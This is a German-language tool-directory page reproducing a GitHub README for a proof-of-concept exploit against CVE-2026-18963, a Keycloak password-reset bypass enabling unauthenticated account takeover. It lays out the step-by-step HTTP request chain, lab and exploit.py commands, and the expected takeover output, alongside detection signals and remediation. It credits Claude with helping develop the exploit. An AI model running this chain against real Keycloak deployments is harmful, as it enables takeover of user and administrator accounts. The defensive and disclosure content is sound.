Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-18963-keycloak — Proof-of-Concept-Exploit für CVE-2026-18963, eine kritische Umgehung des Keycloak-Reset-Credentials-Mechanismus, die eine nicht authentifizierte Kontenübernahme ermöglicht. Enthält Laboraufbau, Erkennungshinweise und Behebungsmaßnahmen für autorisierte Tests. | Kitploit
Tools/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitAuthentifizierungLernen & Bildung
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Proof-of-Concept-Exploit für CVE-2026-18963, eine kritische Umgehung des Keycloak-Reset-Credentials-Mechanismus, die eine nicht authentifizierte Kontenübernahme ermöglicht. Enthält Laboraufbau, Erkennungshinweise und Behebungsmaßnahmen für autorisierte Tests.

Repository anzeigen
3vor 18h 20mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-18963 — Keycloak-Reset-Credentials-Bypass → Kontenübernahme

Unauthentifizierte Kontenübernahme im Reset-Credentials-Ablauf von Keycloak. Ein Angreifer, der nur einen Benutzernamen/eine E-Mail-Adresse kennt, kann das Passwort eines beliebigen Benutzers zurücksetzen — einschließlich Administratoren — ohne jemals die Verifizierungs-E-Mail zu erhalten.

CVE CVSS CWE License


⚠️ Haftungsausschluss — Nur für ethische Zwecke

Dieser Proof of Concept wird ausschließlich zu Bildungszwecken, für defensive Forschung, Detektionsentwicklung und autorisierte Sicherheitstests veröffentlicht.

  • Verwenden Sie ihn nur gegen Systeme, die Ihnen oder für die Sie eine zum Testen haben. Der Zugriff auf Systeme oder deren Veränderung ohne Erlaubnis ist und unethisch.
gehören
ausdrückliche schriftliche Autorisierung
illegal
  • Dies ist eine defensive/bildungsbezogene Ressource, die Teams dabei unterstützen soll, CVE-2026-18963 zu verstehen, zu erkennen und zu beheben — nicht, um Dritte anzugreifen.
  • Der Autor (red-darkin) übernimmt KEINERLEI Verantwortung oder Haftung für jeglichen Missbrauch, Schäden oder illegale Aktivitäten, die mit diesem Code durchgeführt werden. Sie sind allein verantwortlich für die Art der Nutzung und für die Einhaltung aller geltenden Gesetze.
  • Mit dem Herunterladen oder Verwenden dieses Repositorys akzeptieren Sie diese Bedingungen. Wenn Sie nicht einverstanden sind, verwenden Sie es nicht.
  • Siehe DISCLAIMER.md für die vollständige Erklärung.


    Zusammenfassung

    CVECVE-2026-18963
    SchweregradKritisch — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
    SchwachstelleCWE-640 — Schwacher Mechanismus zur Passwortwiederherstellung
    BetroffenKeycloak < 26.7.2 (Upstream). Auch RH-Build-Streams über 26.6.6- / 26.4.15-Bundles korrigiert
    BehobenKeycloak 26.7.2 (PR #51844)
    Voraussetzungen„Passwort vergessen“ (Anmeldedaten zurücksetzen) ist im Realm aktiviert — die Standardeinstellung
    AuswirkungVollständige Übernahme eines beliebigen Benutzers (einschließlich Realm-Administratoren) → IdP-Kompromittierung + lateraler SSO-Zugriff

    Wie es funktioniert — zwei verkettete Fehler

    Der Ablauf zum Zurücksetzen des Passworts (reset-credentials) zwingt Sie normalerweise dazu, auf einen Link zu klicken, der dem Kontoinhaber per E-Mail zugesandt wurde, bevor Sie ein neues Passwort festlegen können. Zwei Fehler ermöglichen es einem Angreifer, diese Prüfung vollständig zu überspringen:

    1. „Anderen Weg versuchen“-Zustand ohne Gültigkeitsbereich — der Authenticator-Selector-Handler speichert die Notiz AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" ohne sie an die Ausführungs-ID (Execution ID) zu binden. Ein erneutes Betreten des Ablaufs lässt die Authentifizierungssitzung in einem verwirrten/veralteten Zustand zurück.
    2. Fehlende Token-Prüfung im E-Mail-Schritt — ResetCredentialEmail.action() ruft context.success() auf, ohne ACTION_TOKEN_USER_ID zu überprüfen (d. h., ohne zu bestätigen, dass das per E-Mail gesendete Aktions-Token tatsächlich verbraucht wurde).

    Durch die Verkettung wird die Authentifizierungssitzung direkt zum Schritt UPDATE_PASSWORD für einen beliebigen Benutzer weitergeleitet — keine E-Mail erforderlich.

    root@kitploit:~
    GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
    GET  /login-actions/reset-credentials …              ── choose-user form
    POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
    POST …reset-credentials      username=<victim>       ── select user via selector
    GET  …/restart …                                     ── refresh session state
    GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
    POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
    POST /login-actions/required-action?execution=UPDATE_PASSWORD
            password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER
    

    Siehe docs/ROOTCAUSE.md für den annotierten Patch-Diff.


    Schnellstart (Labor)

    Sie benötigen Docker und Python 3 mit requests.

    root@kitploit:~
    # 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
    ./run_lab.sh                 # uses keycloak/keycloak:26.5.0
    
    # 2) Run the exploit against the demo 'victim' user
    pip install requests
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    

    Erwartetes Ende der Ausgabe:

    root@kitploit:~
    [7] *** update-password form served WITHOUT token ***
    [8] set-password -> HTTP 302
    [+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!
    

    Melden Sie sich dann als victim / Pwned-2026! an, um die Übernahme zu bestätigen.

    Negativkontrolle (gepatcht)

    root@kitploit:~
    KC_TAG=26.7.2 ./run_lab.sh
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!'
    # stops early — the update-password form is never served
    

    Verwendung

    root@kitploit:~
    python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]
    
      --base       Keycloak base URL, e.g. http://127.0.0.1:8080
      --realm      target realm (default: master)
      --client     public client without PKCE (default: account)
      --victim     victim username or email
      --new-pass   password to set
      --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
      -k           skip TLS verification
    

    Jede HTTP-Antwort wird zur Überprüfung nach ./dump/ geschrieben.


    Proxying über Burp

    Keycloak verwendet bereits 8080. Richten Sie Burps Listener daher auf einem anderen Port ein (z. B. 8081):

    root@kitploit:~
    python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
        --client account --victim victim --new-pass 'Pwned-2026!' \
        --proxy http://127.0.0.1:8081
    

    Die rohe Anforderungskette für Burp Repeater finden Sie in requests/burp-chain.txt.


    Erkennung

    Achten Sie auf eine Passwortänderung, der keine E-Mail-Verifizierung in derselben Authentifizierungssitzung vorausging:

    • Ein UPDATE_PASSWORD-Ereignis ohne vorheriges VERIFY_EMAIL / EXECUTE_ACTION_TOKEN für diese Sitzung.
    • Häufungen von reset-credentials-Anforderungen, die tryAnotherWay=on enthalten.
    • Mehrfache erneute Eintritte in login-actions/reset-credentials für dieselbe tab_id.

    Behebung

    • Upgrade auf Keycloak 26.7.2 (oder den korrigierten RH-Build-Stream) — höchste Priorität.
    • Vorübergehende Abschwächung: Realm-Einstellungen → Anmeldung → Passwort vergessen = Aus.
    • Nach dem Patch: Administrator-Anmeldedaten rotieren, nach Zurücksetzungen eine erneute Anmeldung erzwingen und Alarme auf die oben genannten Erkennungssignale einrichten.

    Referenzen

    • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
    • Fix PR #51844 — https://github.com/keycloak/keycloak/pull/51844
    • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
    • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

    Demo

    Ein vollständiger Lauf ist in CVE-2026-18963.mp4 aufgezeichnet (im Stammverzeichnis des Repositorys).

    Danksagungen

    • red-darkin — Labor-Reproduktion, PoC und Dokumentation.
    • Claude (Anthropic) — Unterstützung bei Forschung und PoC-Entwicklung.

    Die Angriffskette wurde gegen den öffentlichen Keycloak-Patch (PR #51844) und Community-Write-ups verifiziert.

    Lizenz

    MIT © red-darkin — nur für Bildungs- und autorisierte Testzwecke.

    Tool herunterladen